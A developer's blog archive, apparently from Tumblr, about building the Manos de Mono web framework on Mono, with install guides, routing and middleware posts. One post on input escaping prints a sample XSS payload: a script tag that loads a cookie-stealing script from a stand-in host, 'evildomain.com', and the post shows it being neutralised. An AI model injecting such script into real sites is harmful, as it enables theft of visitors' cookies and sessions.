jacksonh.tumblr.com

Tired of the glowing red circle on all your google pages?

Tue, 02 Aug 2011 00:08:04 -0400

I wrote Firefox and Chrome extensions to get rid of it.

Moving on

Fri, 10 Jun 2011 15:00:00 -0400

Unfortunately, I will not be joining Xamarin.

I’ve worked on Mono for a long time (nine years I think) and there are a lot of people on the team I consider good friends. I wish everyone at Xamarin the best of luck. They’ve got a great group of talented people.

(This was a tough blog entry to write, I could barely muster the energy to find a funny cat picture)

As for me, I am looking for exciting new opportunities. Either fulltime positions or contract work. So please email me if you know of anything.

Lots of people have been asking me about the future of Manos. As of right now its hard for me to make any promises. Manos has been getting a lot of awesome contributions from other people. So I am sure it will live on.

UPDATE: Just a couple updates regarding my employment situation: * Unfortunately, because my fiancee is in medical residency I can’t leave Boston for the next three years * I leave for my wedding/honeymoon in a couple of weeks and wont be back in the states until July 15th. * I don’t necessarily care if the technology I work on is .NET or not. I like most programming languages. What’s more important to me is what is being done with the technology.

Using Fancy Hands to name your product/company/cat/first born

Thu, 17 Feb 2011 14:23:00 -0500

I recently read this awesome article on coming up with product names. The article details how Lexicon, a boutique naming firm, comes up with product names.

The basic process used by Lexicon is something like this:

A team learns about the product
The team lists concepts they’d like to convey with the name
A number of teams with no knowledge of the product are asked to come up with words/phrases that convey those messages

Not having knowledge of the product is the key. When you have an intimate knowledge of something its hard to come up with those unique names instead of just describing the product. This is why software engineers often come up with names like File Saver Pro or Dog Picture Uploader.

As a single developer working alone its really hard to detach yourself and find those words/phrases. Asking friends doesn’t really work either because they often have background knowledge or want to have more info.

That’s where Fancy Hands comes in. As an experiment I tried using Fancy Hands to rename Manos de Mono. I’m not going to rename it, but I just wanted to see how it would work.

I sent a number of requests to fancy hands like “Please list the first 15 things you think of when I say the word ‘fast’” or “Name 15 activities that are performed at highspeed”. I also asked things like “List ten fast animals”.

That first round of questions led to some pretty good names. In fact they even came up with tornado, which is the name of the project Manos was originally based on.

In the second round of questions I asked for things related to tornados. They came up with Marvel which I think is a pretty cool name.

You might not use any of the names that Fancy Hands comes up with but I think at the very least it’s a really cheap way to help get the creative juices flowing.

Updated UI for the online editor

Wed, 16 Feb 2011 13:36:33 -0500

Less than an hour after I blogged an ugly editor UI last week Jonathan Pobst sent me a nicer looking version. This is what it looks like now:

We decided to keep the save/cancel as real form buttons so you can still easily tab to the save button after editing.

Editable monodocs

Fri, 11 Feb 2011 15:57:42 -0500

We have a saying around the office that Mono is about making “happy developers” and we feel a big part of that is having excellent documentation. High quality documentation has become increasingly crucial now that we have so many of our own APIs and can’t just rely on MSDN. Things like MonoMac, MonoTouch and MonoDroid all require their own documentation.

So one of the things I’ve been working on for the last couple of months is productizing Kipunji and getting it to fit in better with our documentation structure. As we did this we realized that online editing of documentation would be a killer feature and allow us to create more and better docs.

Last night I pushed online documentation to monomac-docs. There are only a few of us that are authorized to edit docs, but we are planning on enabling a system that will allow non-authorized users to edit and submit docs soon.

Here’s a peek at what it looks like:

Manos now runs on Windows

Wed, 03 Nov 2010 11:34:00 -0400

Over the weekend a totally awesome contributer was nice enough to get Manos running on Windows.

Here are the instructions he supplied:

Install Mono 2.8 (Optional)

Follow the Windows specific instructions on http://www.mono-project.com/download to install Mono 2.8.

This step is optional but you will need the Mono.Posix.dll and PosixHelper.dll when you want to compile a single Manos dll for both Windows and Linux/MacOS.

Install libev

Download the libev package from: http://software.schmorp.de/pkg/libev.html

Extract it and place it next to the libev in the source dir, so both libev-4.00 and libev are in the same directory.

Install Manos

Checkout Manos from github at http://github.com/jacksonh/manos/ and build/install it using Visual Studio.

If you do no have Mono installed you can define DISABLE_POSIX to remove the Mono.Posix dependency.

Installing Manos on OS X

Fri, 08 Oct 2010 14:21:00 -0400

First off, for those that don’t know what Manos is: Manos is an easy to use, easy to test, high performance web application framework that runs on Mono. You can read more about it here.

Lately it seems like everyone is trying to install Manos on OS X, so I spent some time last night trying to install it on my macbook.

I think I’ve fixed most of the issues so its a relatively smooth process now. There are a few more steps than I’d like, but remember this is just alpha software.

So here we go.

Install Mono 2.8

Grab the Mono 2.8 OSX package from the Mono Downloads Page.

You need to have Mono 2.8 installed on your system. An older Mono install wont cut it. Also, if you’ve install Mono from source on your Mac, things might work, things might not work. This guide assumes you have it installed from packages.

Install libev

libev is Manos’s one native dependency. I installed this guy using macports:

sudo port install libev +universal

The key part of this is that we are installing the universal build of libev. If you leave that part out you could get a 64bit version and Mono won’t be able to load it.

You should now have a libev.dylib in /opt/local/lib/ to make sure Mono knows where to find that library, update your DYLD_FALLBACK_LIBRARY_PATH.

export DYLD_FALLBACK_LIBRARY_PATH=/opt/local/lib

Install libev-sharp

libev-sharp is a managed wrapper around libev. The best way to install it is to grab it from my github:

git clone https://jacksonh@github.com/jacksonh/libev-sharp.git
cd libev-sharp
./configue
make
sudo make install

This will install libev-sharp.dll into your /usr/local/lib/libev-sharp directory and will also install a pkg-config file.

Install Manos

Now that all the dependencies are installed you should be able to build and install Manos.

git clone https://jacksonh@github.com/jacksonh/manos.git
cd manos
./configue
make
sudo make install

This will install Manos.dll, manos.exe and libev-sharp.dll into /usr/local/lib/manos. As well as a .pc file and a manos script for invoking manos.exe

Confirm your installation

You should now be able to run the manos documentation server:

manos -docs

and navigate to http://localhost:8181/ in your browser.

Trouble Shooting

If your build fails because libev-sharp isn’t found, you can manually copy it into your manos/build/ directory.

erp:manos jackson$ cp /usr/local/lib/libev-sharp.dll* build/.

Note that you want to cp libev-sharp.dll* not just libev-sharp.dll. That way you’ll get the .mdb debugging file copied over also.

If you are getting a type load exception, make sure you have the universal libev installed:

erp:~ jackson$ cd /opt/local/lib

erp:lib jackson$ file libev.dylib

libev.dylib: symbolic link to libev.3.0.0.dylib

erp:lib jackson$ file libev.3.0.0.dylib

libev.3.0.0.dylib: Mach-O universal binary with 2 architectures

libev.3.0.0.dylib (for architecture x86_64):    Mach-O 64-bit dynamically linked shared library x86_64

libev.3.0.0.dylib (for architecture i386):      Mach-O dynamically linked shared library i386

Another trick is to use Mono’s logging to see where Mono is looking for libev.dylib

 MONO_LOG_MASK=dll MONO_LOG_LEVEL=debug manos -docs

Hopefully all this works for you, if you notice any problems please let me know. Its my first pass at getting Manos running on OS X so its very possible I’ve missed something.

And remember there is a Manos de Mono Google Group

And you can follow the github project here: http://github.com/jacksonh/manos

Special thanks to Geoff Norton for answering all my ‘i dont get the mac’ questions.

Manos now using libev-sharp

Tue, 05 Oct 2010 20:02:14 -0400

I just pushed a Manos update that switches all the event handling over to using libev. libev is a powerful event loop and is used in projects like node.js. Previously Manos had its own event loop, calling directly into epoll itself. So this switch has a nice benefit of dropping some rather complex code from Manos. The main benefit of this switch is that libev is a cross platform library that runs on Linux, OS X and Windows. So this removes the main blocker for running Manos on the Mac and on Windows. As another side benefit we can be confident that Manos is built on the same foundations as other high performance servers.

To make this switch I created a managed wrapper around the libev library. Its source repo is here:

http://github.com/jacksonh/libev-sharp

and you can find openSUSE 11.3 packages here:

http://software.opensuse.org/search?q=libev-sharp&baseproject=openSUSE%3A11.3&lang=en&exclude_debug=true#

So that is the good news.

The bad news is that this introduces a dependency in Manos and if you want to build Manos you’ll need to install libev-sharp. Hopefully Ubuntu packages will be available soon.

I am hoping OSX can now run Manos out of the box. Windows will take a little more time as I have to remove the sendfile call. However, I think windows will still work as long as you don’t try to serve any static content. Right now Manos serves static content with the unix sendfile call which isn’t available on windows.

Warm reception for Manos

Wed, 29 Sep 2010 11:23:00 -0400

Before pressing the Publish Now button on my the Manos de Mono Manifesto, I mentally prepared myself for a beat down. I figured the redditors would tear it apart for using Mono, the hackernews guys would tear it apart for not being rails and the .net people would be angry about some missing enterprise feature. Oh yeah, and then there are the free software people.

I think the redditors scared me the most. You know that scene in every zombie movie, where the annoying guy that you want to die is sneaking through a group of distracted zombies. Inevitably he drops something, it makes a loud noise, and dozens of zombies turn, stare for a second, moan and attack. Thats what having your article submitted to reddit feels like.

But reddit feedback was awesome. Here are a couple quotes:

Very cool, as a full time C# .NET(ASP.NET & Winforms) developer I 
have only recently tried Mono with a console application I'm writing
and have loved it so far. I was reluctant to delve into running an 
ASP.NET application through but with this I'm definitely going to 
give it a go.

and

Hell yes, this saves me from having to learn node.js

The article also made it up to the top of Hackernews. Over there @averyj of TekPub fame did a nice job of summarizing what he felt were the cool features in Manos.

Just from reading through it quickly it includes the following 
things I believe are absent in all of the above (although I have 
only worked with ASP.NET MVC and MonoRail).

1) It has a built in web-server. This is hugely awesome, 
    especially since it is based on Tornado. No mucking with 
    Apache or Nginx, CGI, etc.

 2) It includes command line app generation and compilation
    - missing from at least ASP.NET MVC.

 3) Simple Routing - did you look at the route and lamba? 
     That is awesome.

  Some of what is here is similar to what exists, but this looks 
  much improved. Pipes looks to be an improvement over the 
  current HttpModules of ASP.NET. The view engine looks like 
  an improvement over .aspx. The HTML5 template looks like an 
  improvement over the crappy templates that MVC creates.

The ‘this is awesome’ posts are nice, but things like this are really cool, because you can tell javery really understands why Manos is going to be awesome.

On top of all that, Manos now has around 160 github watchers. Thats more than any of the projects in the mono repository, including mono itself.

Probably the biggest endorsement of all came last night. While I was working away, I received an email from someone who wanted to give me money to buy domain names for the project. Boom, 20 minutes later he paypal’d me the money.

So it seems like people like the idea.

Renewed Vigor

This makes hacking on Manos late at night much more exciting. Its cool to know people actually want to use Manos or at least play with it.

I’ll be working on Manos full time for the first two weeks of October. This should give me enough time to get a fairly polished release out. It should include a bunch of fixes to the core pieces and some new features based on feedback. I’ve also got some ideas for a new IO setup that will significantly improve performance.

The big piece is the template engine though. I’ve been agonizing over what to do here and after talking to some friends, I think I’m just bike shedding. The template engine I have now is pretty awesome, I just need to rework some things. So there should be a nice template engine in the release too.

I’ve also done the work to get Manos packaged properly once Mono 2.8 is out. I’ve setup RPM spec files for Suse and I think I have sufficiently bribed Jo Shields for Ubuntu packages.

So thanks for all the feedback guys. And remember if you want to get involved with the project you can watch/fork it on github at http://github.com/jacksonh/manos and you can subscribe to the google group here: http://groups.google.com/group/manos-de-mono

Manos de Mono: The Manifesto

Wed, 22 Sep 2010 10:52:00 -0400

Although I’ve spent the last five years working on desktop technologies like Windows Forms and Moonlight, my real interest is on the web. I get more excited about requests per a second than smooth scrolling and I don’t really care about grid controls. Whenever possible I like to used web based applications like gmail, tumblr and prezi.

I’ve always enjoyed using and developing web applications but I’ve never been a huge fan of asp.net. To me, writing apps with Django or Tornado has always been much more enjoyable. MonoRail and MVC were big improvements over webforms, but still they felt difficult to me, especially if you aren’t using an IDE. Mono and web development just never meshed for me.

Because I love the web and I love Mono, there was only one thing I could do.

I had to put them both in a room. Poke them repeatedly with sharp sticks. And deprive them of sunlight until they could learn to love each other. After a few months of forced love, they gave birth to their first child. Her name is Manos de Mono, and this is her story.

So what is Manos de Mono?

Manos is a a lightweight web application framework that runs on Mono. The goal of Manos is to simplify the entire web application development process. It should be easy to prototype, design, develop, test, debug and deploy Manos applications. The focus isn’t just on getting you up and running quickly, the focus is on the entire process of creating, managing and updating a web application.

"Simple things should be simple. Complex things should be possible"
-- Alan Kay

Manos aims to be Simple, Testable, High Performance, Reusable and Flexible.

C# sucks for web apps, why bother?

Many web developers don’t consider C# and Mono as a viable language for web application development. However, I feel that there hasn’t been a web app framework built that takes advantage of Mono.

C# is a great programming language. It allows for clean, expressive code. It bends nicely to your programming style. I think most people that have actually used C# find the language quite enjoyable.
The core class libraries in .NET and Mono are very nicely polished. For the most part the API is clean, discoverable and easy to use. The API documentation on msdn.com is also top notch.
.NET is also really nice for multicore/multiprocessor programming. Often all you need to do to take advantage of all of a machines cores is use the AsParallel function.

The problem though isn’t the language or the platform. The problem are the frameworks.

There has been an infection of over engineering and me-too technologies in this space. We have abandonded the Unix/AT&T style of simple programming and have replaced that with layers upon layers of goo.

So Manos is my attempt at getting back to simplicity. Web frameworks really don’t need to be that complicated. For the most part websites get requests and return either HTML or JSON. Is this really that complicated a task?

A closer look at Manos

Here are some of the main features of Manos, from the bottom up:

A scalable non-blocking HTTP server. Manos includes its own high performance web server based on friendfeed’s tornado web server (http://tornadoweb.org). Having an integrated server simplifies deployment and allows the underlying server to be customized to meet the needs of the higher level framework.
An HTTP “pipes” system, that allows you to hook into and process all http requests and responses before/after they get to the main routing framework.
Simple routing. There are a number of easy ways you can route requests to methods in Manos. Using properties to route to other modules, convention based method signatures to implicitly add methods, attributes on methods to explicitly route to them or by using the HTTP methods to add a delegate for a route. All these routes can be defined with string matching, regular expressions or a simple named group matching syntax that looks like this: “/Articles/{title}/{page}/”.
Named parameter conversion on methods. If you create a method Foo (IManosContext ctx, string bar, int idx). Manos will find those parameters in the request data and automatically type convert them for you.
HTML5 Boilerplate. When you create a new Manos project you get a layout based on the HTML5 boilerplate project (http://html5boilerplate.com/). This gives you a rock solid place to start for your front end development.
A wicked fast, html-centric template engine. The Manos template engine is designed to be designer and developer friendly. You can easily edit the template files without the help of an IDE and if a designer sends you html files, you can easily convert them into templates. To maximize performance the templates are compiled, not interpretted but they can still be generated at runtime.
A simple command line tool for creating, building and hosting your apps. No IDE needed. Creating a new project is as simple as typing manos -init.
Reusability: The success of todays popular web application frameworks is not just in their API or performance, its in the wealth of community developed libraries that can be easily plugged into your application. To facilate this, Manos is designed with shareable modules in mind. The framework is designed to encourage modular systems design and code reuse.

To get a better look at Manos, you should checkout the tutorial here:

http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-1.md and http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-2.md

So who is this for?

I’d like to defer to my good friend and close business associate, COURAGE WOLF on this one.

I don’t want Manos to be just for small apps, or enterprise app or a cute web framework for the iphone. I’d like for Manos to kick ass equally across all platforms.

The Beginning

Manos will be awesome. Enough of it is done for me to know.

Unfortunately this is going to be a big change for some people. .NET haters might have to shut up. And .NET developers are going to have to get used to the fact that web application development isn’t a pain in the ass.

Follow the project at http://github.com/jacksonh/manos Sign up for the mailing list at http://groups.google.com/group/manos-de-mono

Cleaning up user input in Manos

Sat, 18 Sep 2010 14:13:51 -0400

I’ve been working on making Manos more secure by default. One of the big things I worry about is XSS attacks. I’m sure that most people understand XSS attacks, but here’s a quick example of how things could go bad.

In the Shorty app that’s included in the (upcoming) first release of Manos, we have a method like this:

 void SubmitLink (Shorty app, IManosContext ctx, string link)
 {
       // Save the link
 }

and one that looks like this:

void LinkInfo (Shorty app, IManosContext ctx, string id)
 {
     var info = // ... get the link ect.

 ctx.Response.WriteLine (@"<html>
                  <head><title>Welcome to Shorty</title></head>
                     <body>
                        {0} was clicked {1} times.
                     </body>", info.Link, info.Clicks);
}

So imagine someone tried to submit this as a link:

<script type=text/javascript src="http://evildomain.com/steal-cookies.js">

Now any time someone visits the LinkInfo page for that domain, they are going to run the steal-cookies.js script from evildomain.com. Which will presumably steal your cookies. Right?

Wrong. It turns out Manos encodes all user input by default. All strings that come from the url, form data, or as params are not stored as strings, they are stored as an UnsafeString and escaped before being passed into methods as a parameter.

So when our SubmitLink function is called we don’t get “

Its not implemented yet, but there will be a CleanHtml property added eventually. This will get a valid html string from the value, using a white list of allowed elements/attributes.

On going

This helps protect against one attack vector and I think is a good start. However, there are still a lot of other things to worry about. The next issue I want to work on is Cross-site request forgery attacks.

As always, and feedback or advice is appreciated.

Bundled Docs in Manos

Thu, 16 Sep 2010 11:33:28 -0400

Originally I was planning on just hosting the Manos docs on the project site. I’ve never really used offline doc tools like Monodoc for whatever reason I’ve always just been more comfortable using my browser to read docs online.

Unfortunately, there are two issues with online docs.

The first one is obvious. Sometimes you can’t access them. Either because you don’t have internet, or something is broken on their side.

The second problem is a little more subtle but can cause big problems. You need to make sure the docs you are reading match the version you have installed. In some cases, even the type of installation you have is important. For example, file layout might be different across different operating systems.

To combat these two issues I’ve added a -docs command to the manos tool. This will start a manos server on port 8181 that hosts the docs that were installed with manos. So you can go to http://localhost:8181/ in your browser and know you are reading the correct version of docs for your manos install.

Command Line Args for Manos Apps

Tue, 14 Sep 2010 11:23:00 -0400

One of the use cases for Manos is embedding a web server in your app. So it would be natural to do something like this:

int level_of_foo = 15;
.....
var app = new FooApp ("Some foo string", level_of_foo);
AppHost.Start (app);

However there are two other ways you can invoke a manos app. You can compile your app into an exe (not supported yet) or you can use the manos tool in your application directory:

manos -server

This will find your app’s .dll, load it and host your app.

To handle the second two scenarios your app needed a default constructor. I don’t want to force people to create stub applications just to have constructor parameters, so the manos -server command now supports passing arguments to the constructor on the command line. It does type conversion on all the params, finds a constructor that matches what was passed, and creates your app.

So this does the same thing as the top example:

manos -server "Some foo string" 15

You can call Contains with a Type as the key, but you...

Tue, 07 Sep 2010 15:54:44 -0400

You can call Contains with a Type as the key, but you can’t call Add with a Type as the key.

And for some reason apps rely on this behavior.

Simple Route Patterns in Manos

Tue, 07 Sep 2010 01:01:03 -0400

After looking at some ugly regexs I decided to implement a simple pattern matching system for routes in Manos. You can now use strings like this for your routes:

[Get ("/articles/{slug}/{page}")]
public static void Articles (ManosApp app, IManosContext ctx, string slug, int page)
{
}

[Route ("/{foo}/{bar}")]
public void Foo (IManosContext ctx)
{
}

Everything inside of the { } block is matched as a string, but can be converted to any type by the action invoker.

If you really want a { in your url string (even though its an illegal url char) you can double them up for escaping {{ or }}. Note: I might just disable this feature since its kind of pointless.

Updates to the routing system in Manos

Mon, 06 Sep 2010 21:16:15 -0400

I spent my memorial day updating the routing system in Manos to allow for parameterized actions. Originally actions in Manos were simply a delegate that returned void and took an IManosContext param. This made some things simple, but also made the API a little clunky to work with. Here’s an example of what things sometimes looked like:

[Get ("/Article/(?<slug>.*?)/(?<index>\\d+?)")]
public void Foo (IManosContext ctx)
{
    MyManosApp app = (MyManosApp) ctx.App;

    if (app.SomePropOnMyApp) {
          // ....
    }

    string slug = ctx.Request.Data ["slug"];
    int index = Int32.Parse (ctx.Request.Data ["index"];
}

Having to cast the IManosContext::ManosApp to the applications App type is rather awkward and is something that has bothered me for awhile. Unfortunately because Actions are a static delegate and the context is a static interface, there wasn’t much I could do about it.

On top of that, the Int32.Parse is rather scary looking.

Today I came up with a system that allows me to pass an application specific ManosApp type to the actions and as a side benefit I can also pass in request data as parameters. So the updated example looks like this:

[Get ("/Article/(?<slug>.*?)/(?<index>\\d+?)")]
public void Foo (MyManosApp app, IManosContext ctx, string slug, int index)
{
    if (app.SomePropOnMyApp) {
          // ....
    }
}

Implicit Routes

Implicit routes are still available, anything that has the correct signature will have an implicit route based on method name added for it:

public void Bar (IManosContext ctx)
{
}

public void Baz (MyManosApp app, IManosContext ctx, string foo)
{
}

I also added explicit routing for ManosModule properties:

[Route ("/Articles")]
public ArticlesModule Articles {
    get { 
        // ...
    }
}

Routing Methods

Finally, all of the routing methods are still available, you can still do stuff like this if you want:

public MyApp ()
{
    Get ("/Foobar", ctx => ctx.Response.Write ("Hello, Foobar"));

    Route ("/Admin", new AdminModule ());
}

OH GOD MY EYES!

Writing this blog entry has made me realize the need for something simpler than regex for pattern matching. Luckily Manos was designed to have a swappable matching system, so users can easily add their own matching system and I can take advantage of that system to make my new system. Expect to see something like this in Manos really soon:

[Get ("/Article/{slug}/{index}")]
public static void Foo (IManosContext ctx)
{
}

More info

Its rough, but here is my first draft on the routing docs:

http://github.com/jacksonh/manos/blob/master/docs/routing.md

More Manos Manuals: Timeouts and Object Caching and a release coming soon

Sun, 05 Sep 2010 11:30:00 -0400

Just added some more docs on Manos.

Timeouts

The first doc I added is on the timeout system for scheduling periodic tasks to be performed in the Manos pipeline. Here’s a quick example:

MyManosApp ()
{
    AddTimeout (TimeSpan.FromMinutes (5), 
                       RepeatBehavior.Forever, 
                       (app, data) => app.Cache.Clear ());
}

That will clear the application’s object cache every five minutes. You can also specifiy a number of iterations using RepeatBehavior.Iterations (count) or create a custom repeat behavior using the IRepeatBehavior interface.

Timeouts are just for simple tasks, they run in the main message loop, so there aren’t guarantees on when they will fire, and they will not fire if the application is stopped. So timeouts should not be treated as a task scheduler system like django’s Celery project. In the future I will be adding a robust task scheduling system to Manos though.

More info can be found here:

http://github.com/jacksonh/manos/blob/master/docs/timeouts.md

Object Caching

The object cache is simply a server side cache for storing objects by key. This isn’t for view/page caching, this is just for sticking objects in a temporary storage area while the app is running. Right now there is only an in-process cache, but I’m planning on adding a memcached backend this week.

Here’s a quick example:

MyManosApp ()
{
    Cache ["foobar"] = "I am the foobar string";
}

The one feature that the cache offers that’s beyond a simple dictionary interface is time based expiration. So if you want your object to go away in 15 minutes, you can just do this:

MyManosApp ()
{
    Cache.Set ("foobar",
                     "I am the foobar string", 
                     TimeSpan.FromMinutes (15));
}

The rest of the doc can be found here:

http://github.com/jacksonh/manos/blob/master/docs/object-cache.md

Coming Soon

Manos is starting to gain some interest and I’m hoping to do a stripped down release in the next couple of weeks. I’m still not happy with the templating system, so that will probably be disabled, but building things like web services should be pretty easy. And you can always build websites using a different templating system like StringTemplate.

I still haven’t done a comprehensive what/why/how document for Manos that will explain what it does, why i think its useful and how it works. I’ve been intentionally avoiding this because I don’t like announcing things that aren’t usable, but unfortunately all my ‘feedback requested’ blog entries lately have done that for me. This document should be out around the same time as the release.

Nice doc on the resource stream locator format in Silverlight

Fri, 03 Sep 2010 13:44:00 -0400

Nice doc on the resource stream locator format in Silverlight

First draft of Manos middleware docs

Wed, 01 Sep 2010 23:43:51 -0400

I just committed my first draft of documentation for Manos’s middleware layer. Its a pretty quick and easy read and I’d appreciate any questions, comments, death threats or concerns that you may have. The doc is written in markdown so you can read is pretty easily on github here:

http://github.com/jacksonh/manos/blob/master/docs/middleware.md

Things still need to be fleshed out, especially with some examples of what methods can be called from inside the middleware hooks, but this gives you a basic idea.

The Gist

Middleware gives your application an easy way to “do something” for every request/response transaction that goes into an application.

You get these methods to register middleware:

RegisterMiddleware (IManosMiddleware mw);
RegisterMiddleware (string name, IManosMiddleware mw);

RegisterMiddlewareBefore (IManosMiddleware mw);
RegisterMiddlewareBefore (string name, IManosMiddleware mw);
RegisterMiddlewareAfter (IManosMiddleware mw);
RegisterMiddlewareAfter (string name, IManosMiddleware mw);

ReplaceMiddleware (string name, IManosMiddleware mw);

And your middleware can override any of these methods:

ProcessRequest (IManosContext)
PreProcessAction (IManosContext, IManosTarget)
PostProcessAction (IManosContext)
ProcessError (IManosContext)

From those methods you can easily re-write parts of the request, redirect to another URL, abort the transaction, manipulate the generated html or just log something to disk. Really the sky is the limit.

Most developers will never have to write their own middleware but a lot of really important plumbing pieces of a web framework can be written using middleware. Things such as the auth system, rate limiting, url rewriting, and red/black testing are important components of a web application and will make use of the middleware layer. So its important that I get this part right.

Some cute C# tricks

Wed, 01 Sep 2010 21:18:45 -0400

Some cute C# tricks